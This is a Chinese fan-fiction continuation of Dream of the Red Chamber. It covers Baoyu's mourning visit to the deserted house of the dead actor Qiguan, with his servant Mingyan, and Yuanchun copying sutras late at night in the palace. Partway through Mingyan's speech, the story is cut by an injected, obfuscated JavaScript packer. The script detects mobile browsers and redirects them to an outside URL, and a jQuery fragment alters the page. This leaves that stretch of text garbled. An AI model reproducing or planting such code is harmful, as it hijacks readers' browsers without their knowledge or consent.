茗烟从来最怕他妈撒泼,平日里都好好的,一旦哪处不合她的意、发起威来,真是神魔弹压不住,本来以为今日好歹有莺儿的妈在这里,有客在,她不至于闹起来,谁知越是在人前,他妈的表演欲望越是强烈,轰轰烈烈便开了锣了,听到她跳脚哭骂的声音,左邻右舍难免又有些好事的婆娘赶了出来,替他妈帮腔,一时七嘴八舌地都让茗烟体谅,又都絮絮地说出许多做女人、做娘的不易来,彼此触动心事,又各各抱头痛哭一回,茗烟咋舌不已,觑着这个空儿便跑了,以后也不敢再提这件事。
这日茗烟架不住宝玉再二再三地命令,好歹还是带着他上紫檀堡逛了一圈。
想是许久没人来过了,紫檀堡也真是大变样。想茗烟前头来时,虽是问不着琪官主仆的下落,可到底还有几个下人收拾屋子、看守门锁,这番却连守门的人也不知上哪里去了,这样一处清雅幽静的宅子竟是荒废了,门前久没人打理,各种荒草也新长了不少,风一吹悉悉索索的,更添了几分萧索的意思。
宝玉沿着围墙走了一遍,一面就不住地叹息。
他只觉人也可惜、屋子也可惜,到处都可惜。
曾经那样一个钟灵毓秀的人在这里与他把酒言欢、赏花赏月、行令唱曲,何等风雅快活,如今斯人作古,下人散佚,就连他住过的旧时的庭院如今也凄凄惶惶、再不见旧日的美景了。
茗烟适时道:“二爷您瞧呀,蒋相公家原先的那许多下人都不在了。想是主人死了,他们苦守着也没个意思,便将值钱的东西分了分、各自奔前程去了。如此想来……那沛文应也是如此罢,且那小子一向又脸嫩,恐怕若投了别主、仍留在京里的话,‘天下何处不相逢’,等闲遇见了咱们不好意思,便干脆上别的州府去了,也是有的。唔,我仿佛听见说他原籍也是南边的,说不准仍是回他老家去了,岂不自在么,二爷就别挂念了。”
宝玉思索一回,也觉有些道理,一面却笑骂道:“什么‘天下何处不相逢’,我只听见有‘人生何处不相逢’,又有‘天下无不散之筵席’,你这一句竟是强凑出来的,意思仿佛是了,到底不伦不类,且也不能用在这里。你且听我一句话,你又不读书,便不必学人掉书袋拽文,若强要学人念诵,就要用些心才是,不然就似这般,这里记岔一点、那里记岔一点,好好儿的诗句,硬是给弄得拧了,岂不是‘有辱斯文’。把这些事情抛开,仍旧做你该做的事、答应勤谨些,也就罢了。”
茗烟笑道:“是、是,二爷教训得是,我哪里又知道什么诗了,不过是二爷日常念得多了,我听了一耳朵,也跟着念起来了,谁知念得又不对——我以为对呢,谁知只是平白惹人发笑罢了,二爷不让我念,我以后就不念了。”
宝玉点点头,又叹道:“这样想来,这些人也太无情了些。琪官待人温柔,我是最知道的,从不吆五喝六、拿腔作势,好歹对底下的人好了一场,如今他去了,这些人不说‘披麻戴孝’,到底也该替他将屋子好生守个三五年,之后再图别的去处,也是个敬意。”
茗烟口里喏喏地应和着,心里却想,我的傻二爷哟,这意思固然好,可我们做下人的,便有山高海深的恩情,也得见着月钱才好办事,谁没有一份儿报主的忠心,却也不能变成下锅的米面,真个苦守三五年,气节是全了,家里弟妹老小却都跟着喝风了,这也不是人干的事。
一时宝玉见天色还早,又要茗烟去附近村里买些金纸香烛、细点果品来。
他自觉农户家里用物粗糙,且色色不一定齐备,便嘱咐茗烟只要东西干净就可、快去快回。
茗烟取了东西来摆好,宝玉自从怀里取了自作的一篇祭文来,抖着声音诵读了一遍,念到动情之处,不觉又淌下泪来。
茗烟垂手站在一边,也听不懂二爷念的都是些什么,只听得半晌一个“呜呼”,跟着又是“兮”,也不知嘻啥,然后又是“耶”、又是“哀哉”,总之长长的一大篇。茗烟想,二爷可真有学问,这么些字儿都是他自己想的、自己写的,这么想来,二爷赛外头写书的人也不差呢。
宝玉念一回,叹一回,还要抹一回泪,茗烟也不敢打断。
好容易等着念完了,见宝玉哭得厉害,茗烟在旁殷殷地劝了许久方止住了,宝玉将祭文焚了,祝祷一回,茗烟将东西简单归拢了,也似模似样地跪地祝祷道:“蒋相公早登极乐,咱们都是最痛惜的,可以相公这样的人品,想也是该做仙人的了,这也是好事。若您还恋这凡尘、还要再做人时,小的就祝您投作个最标致的女孩儿,那才是‘最上等’的人呢,到时也有二爷这样的人尊重疼爱,得人早晚牵挂着,又平安富贵一生,这样做人才有滋味儿呢。”
宝玉正拭着泪,听见他这一通胡说八道,气笑道:“听你满嘴里说的什么,就冲这一番话,也够打你一顿的了。”
茗烟站起身来,笑道:“打便打罢,能叫二爷笑一笑,我吃几顿板子也不妨的。”
宝玉让他这股子无赖劲儿逗得确实开朗了不少,心中悒郁消散,又忙催他收拾,叮嘱不可落下果品等物,这当儿才祭拜过琪官,若是过后把祭品让野狗等畜生给衔了去了,实在有些不恭敬。
茗烟手脚麻利,早收拾打扫得妥妥贴贴,宝玉点头满意,主仆两个这才上马返程。
家去路上茗烟一直想着,有今儿这一趟祭拜,二爷的心事也算了结了些,往后还是少出来的好,免得又遇见什么事,都是不可测的,他便试探着道:“二爷,依小的想,今儿好歹祭拜过蒋相公了,后头一程子还是不出去的好。”
宝玉心情平静,倒也不为这两句话生气,只问道:“怎么说?”
茗烟转转眼珠,已有了主意,便道:“实话告诉二爷,昨儿在外头我听见李贵哥哥说,跟老爷的人说了,这一阵子没甚要紧的公务,老爷一准儿都在家里,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17089403|162289||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
若是一时想起二爷来,使人来唤,二爷不在家,到时不好说的。如此,且在家里好生坐几日罢,总为能将老爷哄过去要紧。”
说也有趣,里外这些跟宝玉的人虽未互相商量过,倒是不约而同地都学会了用贾政来诓哄宝玉,且也屡试不爽。
果然宝玉听罢便有些紧张起来,一时不曾说话。
茗烟忙又道:“外头的事总有我张罗,二爷有什么不放心的,只管都吩咐给我罢了。唔,若还要祭拜蒋相公……还有从前的秦相公,都交与我也罢了。二爷忘了,头前柳大爷也说有要好生收拾一番的意思,算着时候儿,蒋相公那坟上该立碑、秦相公的坟也该瞧着修一修了,小的便去访着柳大爷,问明白了行事,到时小的帮着一起出力,二爷这头儿也算尽心了。”
宝玉听他说得倒还周全,知道这个小厮一贯灵便,也自放心,便在马上捶手道:“嗳,难得你说话也有两分道理。罢了,一事一事来,如今紧要的是我先与孟兄尽快将那画儿的线稿子起了,解了四妹妹的忧烦,等落定了此事,再出去也不迟。”
---
抱琴又捧了两只灯来,一左一右放在元春身边,替她身周添些照亮。
眼前果然光亮了些,视物没有方才那般吃力,元春手中的笔停了一瞬,侧头向抱琴点点头,跟着又继续抄写起来。如今天黑得越来越早了,才坐了多一会子,窗外竟已黑透了。
抱琴将小宫女们打发出去歇息,自己袖着手陪侍着,犹豫片刻,终于还是小声劝道:“娘娘,您抄经是日日都抄的,也不就急在这一时,夜里太暗,便有这几盏灯也不济事,回头把眼睛熬得抠搂了,可怎么好?不如待日里有工夫儿时,多抄些也罢了。今夜圣上去了宣嫔那里,外头已传了更鼓,不至于再有什么事了,您便先安置罢?”
元春仔细辨认着经书上的字迹,笔下不停,微笑道:“还要聒噪,若是吵得我分神抄错,这一篇儿又废了,再要重新抄过时,又要白费许多工夫,今夜又难得睡了。”
抱琴无法,她随侍元春多年,知道她外表温柔,内里主意却拿得极定,一旦认准了什么事,最是坚韧难劝,所以也只好噤声,候了片刻,忍不住又出去添了一盏灯来,轻手轻脚放在元春身前。
几盏灯火将元春的俏丽身影投在帘上,影儿交相重叠,仿似一时有几个元春一般。
抱琴看着那影子,在心里默默数着,等过了今年生日,自己也交二十三岁了,再有两年便是该放出宫的时候了。
没想到这日子虽然难捱,却也过得飞快。
想起刚跟姑娘进宫的时候,自己还十分幼稚孩子气,以为二十五岁简直是永不会到来的年纪,谁知日复一日,出宫的日子竟然真给自己盼出个眉目了,只是在心里想一想那重得自由的一日,都让人觉得平白生出些气力。
只是……到时自己去了,姑娘一个人在这里,更寂寞了。